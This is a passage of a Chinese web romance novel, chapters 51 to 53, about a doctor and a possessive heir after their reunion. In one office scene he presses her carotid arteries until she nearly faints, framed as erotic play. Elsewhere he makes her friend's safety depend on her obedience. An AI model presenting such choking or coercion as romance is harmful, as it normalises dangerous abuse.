“妈咪,我有爱人了。”
这话似是沾惹了酒液滚入喉的灼烧感,烫烈得梁尔璐久久放空。
不行,眼下合该煮点醒酒汤清清脑子,林瀚睿和她都得喝。
可稍有动作,便被他抱着拦回:“宛宛,我们的初吻也是酒味的。”
“你睡傻了?面包店外这个酒味的是第二次,你前一晚梦游时的才是初吻,我先偷亲你,然后你……喂!”
梁尔璐震惊他满脸“我不听”的叛逆架势,抵放颈侧的脑袋又乱蹭,故意闹得她痒丝丝,不
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许出声反驳。
醒了?
她十万火急般摘掉猫耳发箍,塞进被窝藏匿这作案工具:“梦游醒来没记忆又怎样?所以你这是更早夺走我初吻,却想赖账的意思咯?”
心虚仍存,梁尔璐垂头,适时交汇了林瀚睿掀抬的倦眼。
“喝多了,又梦见你了。”
敢情没醒啊……害她虚惊一场,便缓了神,顺他的话:“以后别喝这么醉,对身体不好。”
显然,林瀚睿此刻梦里的梁尔璐,是还不知道他患有哮喘的傻子。
这狗东西当年是真会隐瞒,甚至不惜编造假病。
“我能轻易找到你,也想找你,但每天都说服自己不能去抓你,因为你讨厌这样,我乖了,你不要讨厌我,好吗?”
梁尔璐咋舌,难怪时隔四年,病情愈发严重了。
林瀚睿醉脸绯红,双眸低垂而滞缓翕合,其实照样难掩苍白的病态。
“我没讨厌过你。”她只是无法释怀欺骗这疙瘩。
“你还没告诉我,想找的那个人具体信息。”
深夜黑灯瞎火的,梁尔璐倏愣,惊讶他眼眶不知何时泛了红,直直凝她:“你……你什么时候醒的!”
找人的事她才刚说不久,林瀚睿肯定彻底清醒了。
她后知后觉避开的念头却被他一如既往中断,男人环拥腰沿的力道愈紧,哭腔溢出少许:“刚醒,原来不是梦,你真的在我身边。”
梁尔璐愣怔点头,那她能说不是么……
“对了,你下次去见外婆就带上我吧?省得你这个哮喘病人乱喝酒。”
“借口。”
林瀚睿简短利落的俩平静字音,令她无措。
随即见他扬唇扯笑,解释:“你已经越来越对我狠不下心了。”
那又怎样?
梁尔璐沉默数秒,哼声:“胡说八道,你那恋爱脑自以为是而已。”
“我说过太多次了,你的演技很烂。”
眼看林瀚睿不加收敛揶揄的意味,她气恼呛回:“你别说话了!”虽然深知没用。
男人挑眉,果不其然地继续进犯,嗓音含笑:“睡觉的时候,我几乎不和你说话。”
“不然呢?睡着了谁还说……”哦,原来是她睡傻了,“哎不是,等,等等!”
狗东西是指上床。
那倒也确实。
省得林瀚睿由于刚醒而腿脚出走不稳妥,梁尔璐不敢对他的拥抱多挣扎,只心有余悸地虚虚勾人脖颈,朝人眨巴眼:“那个,我们能不能正常普通平凡简单地睡觉?”
“谁说我们要异常特殊稀奇复杂地睡觉?”
脑子宕机的滋味可不好受。
救命,她又误会了!丢人丢人!
坐在身下的盥洗台凉意侵袭,梁尔璐微微拧眉,适应着疑惑与林瀚睿对视:“所以?”
他神情淡然,瞧不出葫芦里卖的什么药:“我们久别重逢的那一天,听夫人说没玩过水车,别怕,小三带你坐。”
“我没说过这……”救命,她说过!经过男人这样转换词语描述,更加羞耻。
狗东西又骗她!她二话不说往旁边钻逃,可轻而易举被林瀚睿压制回原位,借吻势剥夺她不显乖顺的气力。
梁尔璐不习惯身后泛冷的镜面,但也不愿意贴近男人偏低的体温。
趁空呼吸时,持续抵在林瀚睿胸膛的双手由他扣了搭去肩膀,因此拥紧她,严丝合缝。
睡裙后背的拉链忽然松垮些许,梁尔璐急声:“林……”
余话遭他的来电铃声打断,随即听林瀚睿道一声德文的“晚上好”,声线略哑,话语间的呼吸尽数喷洒在她颈侧。
不知对方说了什么,她腰身处的力道骤然收紧:“Aria就在我身旁,我会告诉她。”
男人几乎是秒挂电话,手机随意放去石质盥洗台面的声响略重。
“你老公说公司事务繁忙,需要尽快回国,但联系不到你,明早我会去接女儿。”
梁尔璐懵半天才明白Loewenstein居然被林瀚睿这假小三当成她老公了,从没这么无语过:“话不能乱说,梁卓熹不是你女儿,是我的,我的!”
确认这话对他无伤,她咬牙,恨不得撕烂男人仅仅付之一笑的平和脸容。
“夫人,你放我四年鸽子,也该还我些什么了。”
“我通宵失眠,对不起啊,夫人。”
脑子似乎不够用,梁尔璐再度迟钝理解林瀚睿的话,清醒之际瞬间瑟缩了肩,耳畔落声他的轻笑。
还夫人呢。
她当了一回好心的农夫,却被蛇湿湿黏黏地缠住了。
51.夏日
翌日中午,梁尔璐忍住将手机扔飞的冲动,趁眯眼避光,第一时间查看究竟是哪个不要命的敢吵醒她睡觉。
是谢柏延的夺命连环消息,图文并茂,实时播报老板在公司带娃的情况,甚至仍在继续输入。
拳头硬了,无趣。
她还以为林瀚睿通宵炒菜,上班期间遭报应了。
翻转手腕,梁尔璐抬指搭脉,没关系,这狗东西的脉象肯定比她的更虚。
等等……前线情报说他在公司干嘛来着?带娃?
她当即拨过电话:“林瀚睿,你疯了?”
男声懒散而掺笑:“你认为这样就算疯了?”
瞌睡劲儿几乎彻醒,梁尔璐无奈:“是我小看你了,随便你,这么喜欢带孩子,你就带吧。”
“你还是这样习惯秒挂我的电话。”
“通常情况下,我对所有家人朋友都是这样的,不愿意胡搅蛮缠,浪费时间。”话落,她取下贴耳的手机,指腹挪向挂断键,却听林瀚睿接话。
“双双,是妈咪。”
她结结实实收到话唠女儿连续激动的数句“妈咪”,因此多煲了蛮久的电话粥。
一想到下楼就会迎着连串的“夫人”,梁尔璐只想缩成鹌鹑。
确实,林瀚睿在演小三的前提下,传达了这种指令的行为更疯。
视线稍转,她连忙闭眼。
受不了了,想要铲平别墅里所有装修相同的浴室,或者去住隔壁独栋小院的保姆房。
越在意越气,梁尔璐揪紧被子,目光扫视林瀚睿放在床头柜上的一长排车钥匙,琢磨着必须也得给他找点不痛快。
*
她下楼,从一堆黑车内挑了辆贵中贵的,而不知从哪蹿出来的保镖打断她开车门。
横竖也不刁难打工人,梁尔璐报了另个半山豪宅区的地址。
近距离面对都铎风格的庄园,比之前远观更具震撼力,她与疑似管家的阿姨隔着镂空高门,尴尬面面相觑。
正欲说明来意,对方竟是恍然大悟地开门来迎:“梁小姐,进来吧。”
梁尔璐心生疑惑,那天在派对听说这家少爷陪Rosalind出了远门,她纯粹来试试的,毕竟就算没见到本人,也够膈应林瀚睿了。
跟随经过大片带泳池与雕塑的草地,她进到客厅,置身投入了满墙高耸玻璃窗的日光中,楼梯临窗盘亘,室内充斥的冷气温度偏低,显得周身热意暖融了些。
“请坐,少爷前阵子留了话,如果你来了就好好招待。”
意思着局促挪半步,梁尔璐转头面向管家:“麻烦您了,他还没回来吗?”
“四年不见,看来姐姐很是想念我。”
熟悉的嗓音突兀,她循声望向管家视线所及的楼梯,怔对男人不符合奔三年龄的男高脸。
中的什么基因彩票……梁尔璐收起眼里的异色:“好久不见。”
“姐姐这是有话问我?”
持续在楼梯下行的男人含笑示意她坐:“姐姐怎么突然好奇我们的关系了?不如先来说别的事?姐姐,我可以帮你挫些林家的锐气,人都是有秘密的,你应该知道不少吧。”
她试图过滤满耳朵的“姐姐”,默声注视侧边沙发主位的男人。
“姐姐,你想死吗?年纪轻轻那种。”盛言顾略微低眸,敛去眉间的烦躁。
梁尔璐悻悻,这位便宜弟弟似乎认为她是恋爱脑:“我跟林瀚睿的关系,和新闻里写的不一样,弟弟,我还是更在意我们的关系。”
“好,他当初那样骗你,现在活该!我和姐姐六岁的时候就认识,他算什么。”
“你并非真的喜欢我,对吧?”语气间苦大仇深的,梁尔璐感觉应该只是和林瀚睿对着干,气他。
却见大少爷稍稍歪头的疑惑模样。
“怎么办?我是真的喜欢你,但我和梁奕珩一样,不会死缠烂打,哪像隔壁太子爷,要就是一定要,发小孩脾气,我这全凭演技获封的大小姐名号也挺适合他,姐姐你看,他可真会演啊,对外是出了名的豪门太子爷模范。”
三句不离林瀚睿,看来双方之间的气氛足够剑拔弩张,梁尔璐忍俊不禁。
“是这样的,我六岁去深城玩,嫌身边跟一群穿便服的保镖,跑了又被他们追,在幼儿园门口遇见你,但你居然觉得有人贩子拐我,把我藏进学校且报警。”
“更好笑的在后面,警察暂时联系不到我那出国的爸妈,那些保镖手机里全没我的照片,拿不出任何认识我的证据,自然而然就被扣留警局。”
“你特别乖,陪我待在局子里,可我是半点都受不了,直接偷偷带你溜出去玩。”
属于简单提醒便能回忆起的往事,梁尔璐难以置信地睁大眼:“原来是你啊!不对不对,我怎么记得当时虽然还不认识梁奕珩,但我们是不同班级,他因为长相挺有名气,那天放学我看见他走在前面,穿马路往一辆豪车走过去,上了车,他不会是去见林……”
她清楚记得梁奕珩开关车门之际,车后座的另个男孩瞥她一眼便转回视线,特别冷漠。
也记得自己对此的评价是,别在公主面前摆谱。
丢人记忆涌现,梁尔璐尴尬地眨眨眼。
“怎么会这样巧?”盛言顾放落手机,丧气撇嘴,可恶的林瀚睿怎么就凑进他和姐姐的记忆了?脏了,“我在国外长大的,大学之前和Hendrix半分不熟,他算豪门圈层里罕见的一类,没任何留洋背景,打小孤狼一匹,从不主动交友,是我死皮赖脸凑上去想杀他威风,后来就觉得能处成好兄弟,奇迹。”
忽而想到些什么,他忙续话:“姐姐,你真得小心,附近基本家家有秘密,但林家大房父子像有精神病,是绝对不适合恋爱结婚的那种,Hendrix的爷爷明显不懂养孩子。”
眼挺尖,梁尔璐佩服男人这敏锐度,接过他递的手机,Rosalind拍了个相框发来。
“真是林瀚睿啊,这张讨债脸。”
“现在不是轮到你向他讨债了?”
耳畔幸灾乐祸的语气掺杂讽意,梁尔璐寻思也对,瞥见客厅门开,猝不及防被跑近的Rosalind扑了个满怀,活像会喊姐姐的热情小狗。
余光内晃进个后到的身影,是林瀚睿那真堂弟,此刻与假堂弟无奈摊手:“Leo,我是来还人的,别为难我向Hendrix交差。”
“Simon,你觉得我为什么让Rosalind知道她的Aria姐姐在这?”
林文霆挑眉:“那你猜我是不是近水楼台,比你先一步通知Rosalind?”
“你们可真是我的好哥哥。”林莉妍停蹭脑袋,稍捋顺头发,“姐姐,堂哥从小就最宠我的,虽然爸妈不准我和他玩,总之你放心和我在一起。”
颈窝终于不痒,梁尔璐适应些:“其实我下午要去他那里上班的。”
她尽力胡诌了个挑不出错的理由。
最宠的妹妹也不顶用,拥有如今美好精神状态的林瀚睿,只有她能摆平。
“那我现在要赶过去了,趁午休时段。”
只不过巧了,她上车后与保镖同样沉默,对方却精准驶停在公司楼下,递了一张可通过大厅的万能门禁卡。
沿路暗骂某人狗东西,而徐徐开门的电梯轿厢内赫然是林瀚睿,平静视她。
哪怕由他扯进,梁尔璐完全懒得挣扎:“我女儿呢?”
“送回家了,孩子只会影响我们。”
瞥眼男人淡然的脸色,她实在难忍地嘴角略抽:“小三,带娃开心吗?”
不成想小三还挺会举一反三:“当面问他,你开心吗?”
梁尔璐将目光挪离了落向林瀚睿脸颊一咬即松的后槽牙位置,弯唇与他对凝:“我觉得你很开心,对吗?”
电梯到层,她使劲掰开男人扣在手腕的五指:“揍你啊。”
秘书室顺眼多了,她招呼眼下没活干的翁秘书与谢柏延:“让我们来吃老板的瓜!”
后者瞬间激动站起,恨不能高举双手双脚赞同:“细说!”
至于前者,终究与好奇心抗争失败,表情复杂:“我和你们不一样,是真打工人,记得保护我。”
“让我们开始。”她打亮响指,“请问你们都是单方面先和林某交朋友的?死皮赖脸?”
眼看二人双双点头,梁尔璐啧声。
“梁姐,我跟你说当时第一次见面,他那个生人莫近的眼神像我欠他八百万,说话还总带刺,但不是讨厌你的那种,明显是为了故意惹你生气,赶你走。”
“完全一致。”
“所以当然要死皮赖脸了,Hendrix会因为这样脸红,但脸色又死装,总是平平淡淡。”
“对,结果发现老板是个很可爱的人,你对他好,他反手还你更好的,就像担心我哪天突然不要他了,拼命刷爆好感,提前挽留。”
“没错,但梁姐你真的完全是例外,变成他死皮赖脸缠着你了,这纯情男当初暗恋了你一年!我看得出来他起初只想和你在一起做朋友,至于后来的发展,我就看不懂了。”
有什么难懂的?梁尔璐默默垂眼。
后来……后来是因为她死皮赖脸地数次告白。
谢柏延察觉女人的表情:“梁姐,你肯定知道原因,让我们来吃老板的瓜吧!”
“还想吃。”
翁秘书完全被带坏的模样,梁尔璐于心不忍,战术清了嗓就展开蛇皮走位,赶紧跑出秘书室。
关门动静闹得大了些,使不明所以的林瀚睿抬头,她转身便撞见轻度皱眉的男人,瞬间没忍住笑声,
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随即拼命绷脸,却仍以失败告终,放肆笑了好一阵。
分贝收轻时听他事不关己般平和说话:“你果然开心。”
“我当然开心,你猜我的Leo弟弟说了什么?”喉间残余细碎的笑腔,梁尔璐走向林瀚睿,“他说六岁的时候我们就认识了,还说……喜欢我。”
她止步办公桌对面,勾唇:“哎呀,你生气了。”
“嗯。”
甚至没必要细品,男人冷静嗓音中的糟糕情绪便纷纷决堤倾溢,梁尔璐单手撑去桌沿:“难道只能你骗我吗?”
与她四年前分手的用语是同一句,林瀚睿显然一怔。
“你是不是以为我刚才要说,难道只能你喜欢我?但的确是这个理啊。”
梁尔璐见好就收,倘若再逗他,怕是自己得遭反噬:“我刚才笑那么开心,是因为觉得你超级可爱。”
如愿目睹林瀚睿面红耳赤却强装镇定的脸容,她双眼倏亮:“天呐,你真的好可爱!我想看你不值钱的样子。”
“不懂。”
理解他断网不懂梗,梁尔璐耐心解释:“就是在我夸完你之后,你心里开心,脸上也开心,浑身都开心。”
意料之中,男人局促垂眸,忸怩地十足抗拒。
小样,治得了。
轮滑椅到底是方便,她攥扶手转过,趁林瀚睿吃惊抬头而捧脸,俯身往他唇瓣凑了个蜻蜓点水的吻。
片刻便见到他愣后半捂着脸,遮掩羞赧笑意的不值钱样儿,附赠一句娇俏腔调的“你亲我了”。
够可爱,梁尔璐心猿意马地撇开目光:“太子爷,你六岁顶着张讨债脸看我时,没想到如今会拜倒在本公主的石榴裙下吧。”
“那是我第一次看见我哥喜欢的女孩子,想着你好美,要遇到好男人,千万别像我妈那样早死,梁奕珩就挺好的。到头来,我哥还是足够好,适合你,但你只能是我的。”
“抢你哥心上人的事就这么光彩吗?都说几次了……”细细回想他这番话,梁尔璐察觉不对劲,“你是说珩仔六岁就喜欢我了?我是七岁那年才算真正意义上的认识他。”
“谁知道,反正我五岁认识他,就知道你的存在了,所以我才觉得他那把年纪谈真爱,挺滑稽的,像神经病。”
瞧林瀚睿不情不愿回答的神情,她心满意足:“不准你说珩仔。”
此话一出,男人的声线随脸色愈发低落:“对,我才是真的神经病。”
“喂,我不是这个意思啊!”似乎说什么都显苍白,梁尔璐老实闭了嘴。
可稍没留神,双颊就遭站起的他揪捏在手间:“不准你想我哥。”
这辈子还没谈过第二个男人,梁尔璐震惊林瀚睿头一回单手抱她的举动。
碍于他五指的着力点在腿弯,仅有手臂支撑她大半身体,虽然是稳的,但她没能及时反应过来,下意识害怕环紧他脖子。
由他安放去同时被另一只手清空的桌面,才敢松开:“你疯了?这是办公室!里边还有两个人呢!”
“你又认为这样就算疯了?分明比在公司带孩子要正常。”
梁尔璐快吓死,唯恐秘书室的门打开,费解林瀚睿是怎么敢笑的:“狗东西……”
“是啊,你对小狗的好,小狗都记得。”
她坚决摇头,示意男人拿掉锢牢着双肩的手:“你,你记错了!”
而他俯身将亲之际,身后响起敲门声,梁尔璐应激似地转头,却瞬间被林瀚睿扳回脸吻住。
来访的人像是离开,唇瓣处也消失吮咬稍久的触感。
这种情况下对方呵近的呼吸格外灼热:“在你老公的办公室玩过吗?”
梁尔璐突然不明白林瀚睿是指她的假老公,还是他自己:“你指的是谁?”
“当然是Loewenstein,怎么?你这是同意我做你老公了?”
她避开些男人流淌兴味的眸色:“玩过。”之前说没在浴室玩过,结果倒大霉。
耳闻他短促哼笑:“没在我的办公室玩过,就不算,改天吧,今天有外人。”
梁尔璐霎时睁大眼,怎样都不行,她绝不回答这类问题了:“那我之后但凡是一个人待在家,都不出门,行吗?”
“话不能乱说,我没想把你关起来。”
分明脸上都写满了,超记仇,超难哄!故意用离谱的做.爱来威胁她退而求其次。
她咬牙,却没敢大幅度,皮笑肉不笑:“对,我关我自己。”
“好乖。”
脸颊受抚,梁尔璐略微后仰躲避,男人顺势流连去耳廓的五指逐渐搭扣她肩背,借助拥抱紧紧按回了她退的距离。
“我爱你。”
可别……
她生理心理都快窒息了,利落地将林瀚睿这话从脑海中抹除。
52.夏日
但意外他松了拥抱的速度,梁尔璐微愣,更何况林瀚睿并未退远留出足以能让她跳下桌子离开的空间。
而是单手托稳她后脑勺,右手双指摁来脖颈两侧,虎口顺势卡扣在颊颈交际处,她因而被迫高抬下颌,仰视男人。
指骨贴抵,每寸弧度的触感分明,梁尔璐持续迷惑,可是随着他指腹用力摁压颈动脉,逐渐头脑发胀,呼吸困难。
“梁医生知道我按在什么地方吗?”
“放……”迟钝接收的问语仿佛出自渺远方位一般模糊,窒息感剧增,令眩晕极速蔓延全身,她双手本能地去够林瀚睿手腕,指甲刮得男人皮肤生痒。
探了些细碎视线,梁尔璐愈是心惊。
林瀚睿俨然一副……睨她的高高在上姿态。
此刻却也低眸,其内流转稠欲:“小猫挠人同样如此。”
“宝宝,你太瘦了,脖子后仰就凸出小小的喉结,好可爱。”
“放心,不会有人打扰我们,只不过声音要轻些。”
话落一瞬,林瀚睿就撤开制住她颈动脉的手,凝视怀里女人失了血色的脸容,瞳珠隐在紧闭眼皮下颤动,俯身吻去她肆流生理泪水的眼尾。
碍于秘书室,她控低了咳嗽掺杂呼吸的散乱声音。
他便也配合,凑向梁尔璐耳畔:“这爱,就算是做过了。”
“但我更喜欢用五指和整个手掌包覆你的脖子,能掐得留痕。”
梁尔璐面部回暖的殷红倏然消退,惊恐啜泣出声。
她看清男人眼里满足而阴郁的疯狂,将他一双琥珀色淡眸翻涌得浓暗。
林瀚睿这疯子,记仇到这程度……
无比委屈,梁尔璐根本控制不了眼泪成堆地蓄满,扭头拒绝他擦拭的间隙,趁机回咬人手指,尽力止哭。
满口嶙峋的冰凉骨感,她宛如直接感触这冷意的唇齿,双肩轻颤。
“怎么把纸巾也吃进了?”
延后察觉林瀚睿拈走她唇角的一小片湿润,梁尔璐嫌弃抹嘴:“你是不是上网看了什么奇怪的东西?有种S的疯感,你想驯服我?”
却得他仅是半声的茫然笑侃,抬手轻点来额头:“你要少看些奇怪的东西,我只喜欢你这副桀骜不驯的死犟模样。”
呼吸暂时平复部分,而她仍没多少力气,敛眉阖眸适应:“唔,我头还晕着,你狗爪子死定了!”
“你想要我以后在床上的时候说话吗?”
经落地窗折射的日光微弱了些灼亮,少有丝绺越过林瀚睿,投落在拢怀侧拥的女人,他眼见梁尔璐瓷釉般的冷白肌肤迅速染就一层薄红,其余反应倒是滞着,无声摇头。
幅度微小,自知孱弱无力的抗拒。
“是我刚才说得不好吗?四年前,你明明夸我有dirty talk天赋。”
女人偏转了头,埋进他怀深处的动静,零距离传入衬衫布料,林瀚睿垂眼注视她借助滑落的长发挡脸,透出的嗓音因此更加泛闷。
“你现在也别说话。”
梁尔璐想失忆,谁知再次无征兆凌空的突兀感,令喉咙下意识地窒涩发紧:“你又要干什么?不准你抱我!”
难以置信男人唯独将她安放在办公椅,便走向秘书室的奇怪行为,她留着些戒备。
林瀚睿推出椅子,乍一眼瞥见梁尔璐支了个二郎腿,冷脸相向且幽怨盯来,如同尖锐的漆皮亮面鞋头凌厉,满副找他算账的架势。
心底的气难消,梁尔璐掷去眼神,在他帮忙推远的前提下又自顾自往左侧远了一手臂宽距离。
毕竟是排排坐,她轻易目睹林瀚睿旁若无人般投入的工作状态。
什么人啊,前一秒还在调情,后一秒平静上班。
梁尔璐稍加打量他黑衬衫束系着的窄腰:“小三,你昨晚纵欲过度,今天不行了?”
男人半眼没搭睬,唯爱工作似的:“我可以让秘书室里的人都出去。”
“不用麻烦了,你最行。”她老实了,安静当桌宠。
同为学理,她几乎被大老板处理的工作内容催眠,连带手机也变得无趣,就不由地思绪放空,怔怔望前方。
却被敲门声一吓:“啊……”
回神之际听清林瀚睿轻笑中的揶揄,梁尔璐当即瞪视他扬眉投来的玩味目光。
男人净白手指按动某个遥控器软键的刹那,办公室门“咔哒”开了锁舌。
入耳的“林董”尽显尊敬,对方交过文件,微垂着眼等在桌前,又匆匆离去,除却刚进办公室的一瞬发现她身影,这打工人之后全程连半眼都不敢多看她。
也是沾上林家的光了呢。
受不了这种人上人的地位,梁尔璐啧声。
“你偏爱珍珠首饰?”
生怕林瀚睿又冷不丁地冒出什么坏心思,她迟疑琢磨男人眸中的询问之色,应得小心翼翼:“嗯。”
但他面容蕴着温度,嗓音同样良善得柔情款款:“我也喜欢珍珠配你。”
“谁允许你喜欢我了?”揪着刺耳的关键词提前反驳,梁尔璐悻悻地将错就错,装听不懂他完整句意。
笑笑笑,狗东西最好年纪轻轻就把牙笑得掉光。
她伸手接过林瀚睿敲击点划了几下的平板,遭满屏的金钱闪瞎眼。
“挑,会派人去拍卖行。”
掺杂在各式拍卖品内的珠宝极尽富丽,梁尔璐急急涌至齿关的话头,却被他无所谓的嗓声掐断。
“不挑也行,全买。”
耳边忙碌的键盘音断续,她完全咽下无用字句:“但是说真的,你不能再失眠下去了。”
“我只是不想吃安眠药。”
“知道啊,所以我建议你要先吃药。”偷偷摁向平板息屏侧键的小动作由男人转头抓包,她掩耳盗铃地闭眼一会儿,尴尬清嗓,“用睡眠把身体状况调理正常点,我在这个基础上继续治,肯定会有好转的。”
梁尔璐忽而想到某种出现在林瀚睿身上也并不离谱的可能性:“你不会是怕我跑了,才死不吃药,昼夜都睁着眼的吧?”
见他沉默,但浑然不以为意的表情足够回答所有。
这么无所谓?等猝死就老实了。
她头疼得紧:“大哥,我和你签过一年的合同了!违约金还那么贵,虽说我爸妈有钱,但我又不是败家子,你居然把我想成这种人!感情……”
“敢情你一直在误会我?”舌头一拐,险些说成“感情淡了”,梁尔璐收敛慌乱。
未料他感知敏锐,唇角勾出坏意:“你原本说的什么?那你续签吗?”
梁尔璐忍住将平板砸去的冲动,中途收回,而因此形成的假动作,足够显得怜惜暧昧……
她羞恼:“你又设计我!请问我现在能说不续吗?敢说半个‘不’字,你就绝对不配合治病了,喂,难道你还搁哪儿藏东西录音录像吧?”
“有必要录?不出一年,你就会愿意一辈子留在我身边。”
林瀚睿轻飘飘的语气,让她异常费解,视线径直进他浅淡眸子:“我不出一年就去死的可能性更大哦。”
“是够美,我从小眼光就不错。”男人淡声,相比先前陆续外放的明显起伏,此刻没示出什么情绪,似是再稀松平常不过的陈述。
随即似笑非笑地接续后话:“不说话更美。”
“怎么会呢?你不是说过我在床上说话的时候更美?骗子。”梁尔璐脸色骂骂咧咧地呛回,干脆低头挑珠宝,“嗯?居然有……”
谁知被林瀚睿利落打断:“我买不起梁奕珩的画。”
买不起?一幅字画还没某个首饰贵呢。
她抬眼瞥见男人侧脸绷直,颌骨线条因此越发凌厉,电脑屏幕反射的亮度不低,使他镜片下眸色泛开更甚的冷光。
严重失算,刚刚
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就应该去找梁奕珩的,林瀚睿才会最生气。
“为了女人之前,你们兄弟俩打过架吗?”
“女人,你不也清楚自己是前提?”
他的话滑稽,梁尔璐哑然失笑:“我还以为你要说‘女人别玩火’呢。”
她还偏生要玩得烈:“我已经知道你为什么喜欢我了,那他呢?有和你说过喜欢我的原因吗?”
估计是工作告了一段落,林瀚睿弯唇倚向靠背,与她面对面,置于膝腿之上的指尖轻缓敲叩:“你怎么不现在直接打电话问他?”
“因为我相当于是拒绝他了啊,挺尴尬的。”
“没说过。”
既然肯回答了,梁尔璐寻思林瀚睿的心情该是有所好转:“我也拒绝你了。”
根本没必要细究男人寡淡的神态,她愉悦笑出声,咬牙强忍飞扬的嘴角:“开心吗?”
“开心。”
抿直了双唇,梁尔璐顺着他这假开心的杆子往上爬:“那你打算怎么谢我?”
“明天不用上班。”
不管林瀚睿话语间的笑腔是何意,梁尔璐闻声打个响指,顺当地用两指比心:“谢谢,老板您真懂我!”太子爷的桌宠谁爱做谁去!
“那么,梁秘书会奖励我什么?”
这话的声量偏轻,双方之间的距离长过一臂之远,却未见男人支肘骨而倾前身子,哪怕神情也如旧。
晓得他必定讨要回礼,梁尔璐不拖沓:“和你一起吃晚饭,今天就算有人叫你去火星吃晚饭,我都要跟着。”
“你昨晚是不是胃疼?”轮滑椅灵活得稍难受控,她消磨着鞋底,及时踩地刹停林瀚睿旁侧,低声,“虽然我被你弄得看不太清,但还没瞎。”
“知道梁医生目光如炬,职业操守高尚,省得你多管闲事,就只能让你没力气。”
“去死吧你!”
顺路,她就踹向附近的男士皮鞋,岂料椅子也因这力道被往前带,顺势由林瀚睿接住了扑去满怀的她。
匆忙远离眉眼含笑的男人,梁尔璐张望自己惊慌着甩飞在地的pad:“不是……你?平板掉了,你应该先管它!”
难免尴尬,她垂眸捋顺乱发,将这话题翻篇:“我猜你在外婆家没吃几口饭吧。”
“是一口没吃,之后去了酒吧。”
“哇,你真厉害,怎么没死呢?”真实情况更严重,她被离谱得发笑,“其实我昨天趁你不在就切了塔罗牌,问的是,妈咪,您儿子去您从小长大的家里吃饭了,有什么话想带给他。”
想到这,她拧眉:“但分析下来特别诡异,妈咪说没办法和儿子说话,不知道儿子喜欢吃什么,希望别人问了再通知她,帮帮她,很诚恳。嗯……反正我觉得吓人,她像被什么东西捂嘴了一样。”
“啊,我真的冒冷汗那种,偏偏你大半夜都还没回家!”
然而沉默延续,林瀚睿面色不改,静默的五官中透不出什么情绪。
梁尔璐弱声试探:“塔罗牌挺玄乎的,你要么只信这一次?”
“很灵。”
算是出乎意料的回应,她连忙摘了腕部的黑曜石手链,塞入他手心:“切牌时净化增强能量用的,你自己告诉她吧。”
男人定定凝看晶石,日光倾洒,在他额角细软的发绺处落下阴影:“妈咪,她就是我的爱人。”
梁尔璐目瞪口呆。
“妈咪,他喜欢吃恋爱脑!”不应该是报菜名的环节?
总归无法理解林瀚睿转而无声注视她的奇怪模样:“我说错了吗?”
更纳闷他唇角突然衔笑的弧度。
“你难道没发现自己一直在叫我妈,妈咪?怎么,愿意和我结婚了?”
好像的确是这样的,梁尔璐屡屡词穷:“我……我说说说错了……”
本来就是法律意义上的婆婆,狗东西却明知故问,又在装失忆!
53.夏日
“你没说错。”
愣了半秒,她算是懂林瀚睿的意思,确实双方都心知肚明已经是老夫老妻了,别成天演小三。
谁知赞许未脱口,他率先添来一句:“我喜欢吃恋爱脑,以形补形。”
原来指的没说错这个?是她误会了呢。
“你为什么……”梁尔璐及时掐住话声,问的简直是废话。
人喜欢玩一个游戏当然是因为它有趣,就看他到底哪时候才会装腻了失忆吧。
“你怎么不问了?”俯身的姿势令他嗓音少了些清越。
重新与林瀚睿交汇探究的视线,梁尔璐没搭理被男人捡起而递过的平板:“你快告诉阿姨喜欢吃什么啊,知道你害羞,我这就走。”
寻着借口溜回秘书室,她松口气,窝入窗边绵软的沙发却后知后觉遮挡颈部,状若无意地微拢双肩前长发。
应该真的没留痕吧,实在很难不怀疑林瀚睿刚才犯了病。
不过此刻相聚在同一工位,攥了手柄打联机游戏的俩同事显然没空抬头注意她,想来今天挺闲的,她也被招呼去玩了几局,成为二人口中啧啧称奇的游戏黑洞。
“我绝对向老板举报你们摸鱼!”撂完狠话,她踩点下班。
受用身后此起彼伏讨饶的“姐姐”,梁尔璐挑眉。
林瀚睿早已间隔着敲门两次,她并不意外迎面撞上这具高大身形,唯独任由他揽进怀中带离办公室。
梁尔璐逐渐习惯肩角沁入的偏凉体温:“你别催了,这么高的楼层,我插翅难逃。”
“里面是两个男人,哪怕只剩女人,我也反感。”
抬头怔望他尤为严肃的侧脸神色,梁尔璐讶异这种程度的占有欲。
失神间,蓦地恰对他垂落的双眸,凛色隐约:“你的工位在哪?”
“在秘书……”
“你那套别墅的保镖撤留与否,决定权在我。”
“保我哥的一条命,换你守规矩。”
话语遭敛眉的男人冷声打断,梁尔璐失措。
从前让梁奕珩住在她名下的空置别墅以远离控制欲过强的父母,据他所说,林瀚睿派的保镖也待在那儿四年之久。
当时还不知这发小被家暴的事,想来林瀚睿早已清楚,趁机暗中安排了。
她喉口倏地发涩:“在……在你身边。”
总归林瀚睿这情绪转变并非属于失控的反复无常,应该是在正常吃醋吧。
但浑然不敢问,梁尔璐瑟缩一下被他愈加环紧的双肩。
男人缓缓道出的腔调沾染寡淡笑意,多的是不耐:“为了我哥,你才肯在我面前伏低做小。”
“盛家太子爷也能帮你,也喜欢你,换人吗?”
电梯内的冷气重过办公室温度,压得梁尔璐难喘大气:“不换,不换。”
地库一到,她抬脚狠狠跺中林瀚睿的鞋头,往远处的出口跑:“小心我下次用尖的鞋跟踩死你!”
可连半辆的士都没拦着,猝不及防被他停下的车堵住去路。
引擎轰鸣声渐息,窗户降落便更清晰了男人等待她学乖的似笑非笑脸容:“你能找到不男不女的出租车司机,让我满意?还是想磨蹭到天黑,和我在车里睡一觉?”
大街上的,祖宗可闭嘴吧。
何况谁上个平平无奇的班,却开全球限量的跑车啊,过分引人注意,梁尔璐硬着头皮绕到副驾。
捱了整段车程的沉静,她甚至没适应女儿热络的声声“妈咪”,稍不留神就见林瀚睿抱起孩子,替解释她累了。
别墅里帮佣分责到位,完全不容梁尔璐插手厨房的活,先前嚷着要吃番茄炒蛋盖浇饭的男人刻意避开女儿视线,争分夺秒地倾身凑耳轻语:“怕你下毒。”
“谢谢提供思路。”她作力咬牙,挪远些餐椅。
头一回和梁卓熹共桌吃饭,小姑娘可怜兮兮扒拉着白饭,林瀚睿见状勾唇:“挑食,像我。”
跟难伺候的女儿眼神交流斗智斗勇就算,大的这个也嘴欠,气得梁尔璐饱了,没剩多少胃口:“世界上有无数个挑食的娃娃像你,恭喜你子孙满堂,人丁兴旺。”
“你不准给她吃零食。”对丧气的女儿丢过眸色,她重新示意林瀚睿。
他倒是眉眼弯弯,脸皮极厚,似乎接了她这小任务,便能相应提条件:“我明天能不能吃你做的番茄炒蛋盖浇饭?”
